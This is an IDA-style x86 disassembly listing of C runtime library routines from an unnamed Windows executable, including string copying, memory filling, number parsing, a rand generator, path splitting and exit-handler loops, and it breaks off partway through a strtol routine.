		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD


loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7


loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681


loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642


loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635


loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664


loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652


loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7


loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi


loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi


loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630


loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1


loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax


loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9


loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B


loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43C504, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738


loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx


loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43C504, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------


loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax


loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A29C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748


loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB2C0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		nop
		call	near ptr 2700543h
		push	eax
		call	near ptr 26F0B2Fh
		nop


loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB2BC, edi
		mov	byte_4DB2B8, bl
		jnz	short loc_41B844
		mov	eax, dword_4DC91C
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DC918
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832


loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax


loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DC91C
		jnb	short loc_41B81F


loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi


loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx


loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB2C0, edi
		nop
		call	near ptr 77E75CB5h


loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax


loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------


loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A280, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A280
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A280, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967


loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934


loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi


loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929


loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]


loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------


loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------


loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0


loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E


loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DC7E1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi


loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------


loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0


loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi


loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax


loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------


loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax


loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0


loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40


loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C


loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]


loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------


loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx


loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C


loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0


loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi


loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43C504, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------


loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E


loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82


loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43C504, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------


loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------


loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43C504, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------


loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C2F8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18


loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------


loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------


